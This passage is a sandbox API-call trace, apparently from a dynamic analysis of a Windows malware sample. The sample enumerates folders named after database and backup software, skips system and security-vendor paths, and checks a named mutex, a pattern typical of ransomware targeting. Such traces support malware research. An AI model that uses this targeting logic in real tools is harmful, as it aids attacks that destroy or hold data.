lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.758] SysReAllocStringLen (in: pbstr=0x18f104*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters", len=0x36 | out: pbstr=0x18f104*="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters") returned 1 [0041.758] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.758] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.758] GlobalUnlock (hMem=0x44000c) returned 0 [0041.758] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.758] GlobalLock (hMem=0x440004) returned 0x552180 [0041.758] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.758] GlobalUnlock (hMem=0x44000c) returned 0 [0041.759] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.759] GlobalUnlock (hMem=0x440004) returned 0 [0041.759] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\ition\\") returned 26 [0041.759] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\Microsoft\\Exchange Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@ꐎRꏢR企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0041.786] GetLastError () returned 0x3 [0041.786] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=26, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0041.786] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\ition\\") returned 21 [0041.786] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\Microsoft SQL Server", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="袔T䱠@ꍴR企@\x18㽜Q\x181")) returned 0xffffffff [0041.786] GetLastError () returned 0x2 [0041.787] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42948, cbMultiByte=21, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0041.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\ition\\") returned 9 [0041.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\Firebird", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="袔T䱠@뭼R企@\x18?T\x18;")) returned 0xffffffff [0041.787] GetLastError () returned 0x2 [0041.787] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0041.787] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\ition\\") returned 8 [0041.787] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\MSSQL.1", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="袔T䱠@⊤R企@\x18?T\x18D")) returned 0xffffffff [0041.788] GetLastError () returned 0x2 [0041.788] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0041.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\ition\\") returned 37 [0041.788] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="袔T䱠@ꍴR企@\x18뭼R\x18j")) returned 0xffffffff [0041.788] GetLastError () returned 0x2 [0041.788] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\ition\\") returned 37 [0041.788] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\ition\\") returned 6 [0041.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\Adobe", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="袔T䱠@⊤R企@\x18?T\x18q")) returned 0xffffffff [0041.789] GetLastError () returned 0x2 [0041.789] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="adobe\\뭸R°") returned 6 [0041.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Oracle\\ft SQL Server Compact Edition\\ition\\") returned 7 [0041.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\Oracle", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="袔T䱠@Q企@\x18?T\x18y")) returned 0xffffffff [0041.789] GetLastError () returned 0x2 [0041.789] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="oracle\\T ") returned 7 [0041.789] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Archiveft SQL Server Compact Edition\\ition\\") returned 7 [0041.789] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\Archive", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="袔T䱠@뱔R企@\x18?T\x18\x81")) returned 0xffffffff [0041.790] GetLastError () returned 0x2 [0041.790] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="archiveT ") returned 7 [0041.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Backupeft SQL Server Compact Edition\\ition\\") returned 6 [0041.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\Backup", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="袔T䱠@⊤R企@\x18?T\x18\x88")) returned 0xffffffff [0041.790] GetLastError () returned 0x2 [0041.790] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="backup?T ") returned 6 [0041.790] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Reserveft SQL Server Compact Edition\\ition\\") returned 6 [0041.790] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\Reserv", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="袔T䱠@Q企@\x18?T\x18\x8f")) returned 0xffffffff [0041.790] GetLastError () returned 0x2 [0041.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=6, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="reserv?T ") returned 6 [0041.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=7, lpWideCharStr=0x18ddcc, cchWideChar=2047 | out: lpWideCharStr="Restoreft SQL Server Compact Edition\\ition\\") returned 7 [0041.791] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\Restore", lpFindFileData=0x18eb80 | out: lpFindFileData=0x18eb80*(dwFileAttributes=0x7758b6c6, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x552180, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e69508, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x554190, cFileName="㪀P\xfdee㰒", cAlternateFileName="袔T䱠@뱔R企@\x18?T\x18\x97")) returned 0xffffffff [0041.791] GetLastError () returned 0x2 [0041.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=7, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="restoreT ") returned 7 [0041.791] GlobalLock (hMem=0x440004) returned 0x550170 [0041.791] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.791] GlobalUnlock (hMem=0x440004) returned 0 [0041.791] GlobalLock (hMem=0x440004) returned 0x550170 [0041.791] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.791] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.791] GlobalUnlock (hMem=0x440004) returned 0 [0041.791] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.791] GlobalUnlock (hMem=0x44000c) returned 0 [0041.791] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.791] GetEnvironmentVariableA (in: lpName="ALLUSERSPROFILE", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.791] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a748, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\") returned 15 [0041.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.792] GetEnvironmentVariableA (in: lpName="APPDATA", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming") returned 0x2d [0041.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1ddb5e8, cbMultiByte=46, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 46 [0041.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.792] GetEnvironmentVariableA (in: lpName="ProgramData", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\ProgramData") returned 0xe [0041.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\programdata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.792] GetEnvironmentVariableA (in: lpName="WINDIR", lpBuffer=0x18e97c, nSize=0x400 | out: lpBuffer="C:\\Windows") returned 0xa [0041.792] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69720, cbMultiByte=11, lpWideCharStr=0x18dd7c, cchWideChar=2047 | out: lpWideCharStr="c:\\windows\\ata\\jn0js halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.792] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.792] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.792] GlobalUnlock (hMem=0x44000c) returned 0 [0041.792] GlobalLock (hMem=0x44000c) returned 0x550170 [0041.792] GlobalLock (hMem=0x440004) returned 0x552180 [0041.792] GlobalHandle (pMem=0x550170) returned 0x44000c [0041.792] GlobalUnlock (hMem=0x44000c) returned 0 [0041.792] GlobalHandle (pMem=0x552180) returned 0x440004 [0041.792] GlobalUnlock (hMem=0x440004) returned 0 [0041.792] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=15, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\$recycle.bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 15 [0041.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=11, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\all users\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 11 [0041.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\appdata\\s\\bin\\s halpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=18, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 18 [0041.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=28, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 28 [0041.793] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.793] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=10, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 10 [0041.794] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=8, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 8 [0041.794] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69858, cbMultiByte=9, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 9 [0041.794] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\", cchLength=0x37 | out: lpsz="c:\\program files\\common files\\microsoft shared\\filters\\") returned 0x37 [0041.794] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a788, cbMultiByte=13, lpWideCharStr=0x18dd84, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\ition\\") returned 13 [0041.794] GlobalLock (hMem=0x440004) returned 0x550170 [0041.794] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.794] GlobalUnlock (hMem=0x440004) returned 0 [0041.794] GlobalLock (hMem=0x440004) returned 0x550170 [0041.794] GlobalLock (hMem=0x44000c) returned 0x552180 [0041.794] GlobalHandle (pMem=0x550170) returned 0x440004 [0041.794] GlobalUnlock (hMem=0x440004) returned 0 [0041.794] GlobalHandle (pMem=0x552180) returned 0x44000c [0041.794] GlobalUnlock (hMem=0x44000c) returned 0 [0041.794] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Filters\\*.*", lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e1c0 [0041.794] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5969b6f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xd9df3dc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd9df3dc0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0041.794] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e922100, ftCreationTime.dwHighDateTime=0x1caafc8, ftLastAccessTime.dwLowDateTime=0x69e61cd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4e922100, ftLastWriteTime.dwHighDateTime=0x1caafc8, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0x0, dwReserved1=0x0, cFileName="msgfilt.dll", cAlternateFileName="")) returned 1 [0041.794] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc8 | out: lpLocalFileTime=0x18edc8) returned 1 [0041.794] FileTimeToDosDateTime (in: lpFileTime=0x18edc8, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0041.794] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.794] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.794] GlobalUnlock (hMem=0x44000c) returned 0 [0041.795] GlobalLock (hMem=0x44000c) returned 0x551178 [0041.795] GlobalLock (hMem=0x440004) returned 0x553188 [0041.795] GlobalHandle (pMem=0x551178) returned 0x44000c [0041.795] GlobalUnlock (hMem=0x44000c) returned 0 [0041.795] GlobalHandle (pMem=0x553188) returned 0x440004 [0041.795] GlobalUnlock (hMem=0x440004) returned 0 [0041.795] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0041.795] CharLowerBuffW (in: lpsz="msgfilt.dll", cchLength=0xb | out: lpsz="msgfilt.dll") returned 0xb [0041.795] WideCharToMultiByte (in: CodePage=0x4e4, 